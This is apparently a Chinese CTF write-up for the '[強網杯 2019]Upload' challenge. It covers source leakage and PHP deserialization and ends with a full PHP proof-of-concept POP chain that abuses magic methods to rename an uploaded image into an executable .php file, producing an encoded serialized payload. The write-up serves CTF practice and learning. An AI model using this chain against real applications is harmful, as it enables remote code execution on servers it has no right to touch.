刷題記錄:[強網杯 2019]Upload

[TOC]php

刷題記錄:[強網杯 2019]Upload

題目復現連接:https://buuoj.cn/challenges 參考連接:2019 第三屆強網杯 Web 部分 WriteUp + 復現環境html

1、知識點

一、源碼泄露

www.tar.gzweb

二、php反序列化

看起來文件很大,可是用phpstorm打開的話會發現默認打開的文件裏有兩個斷點,實際上是給的hint,指出了反序列化利用的地方。以後常規的反序列化利用,不是很難。app

惟一要注意的是序列化會把命名空間序列化進去,因此poc在這個地方必需要加namespace app\web\controller;phpstorm

<?php

namespace app\web\controller;
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {

    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __construct()
    {
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
}

$b = new Profile();
$b->except = array('index'=>'img');
$b->img = "upload_img";
$b->ext = true;
$b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
$b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png";

$a = new Register();
$a->registed = false;
$a->checker = $b;
echo urlencode(base64_encode(serialize($a)));
相關文章
相關標籤/搜索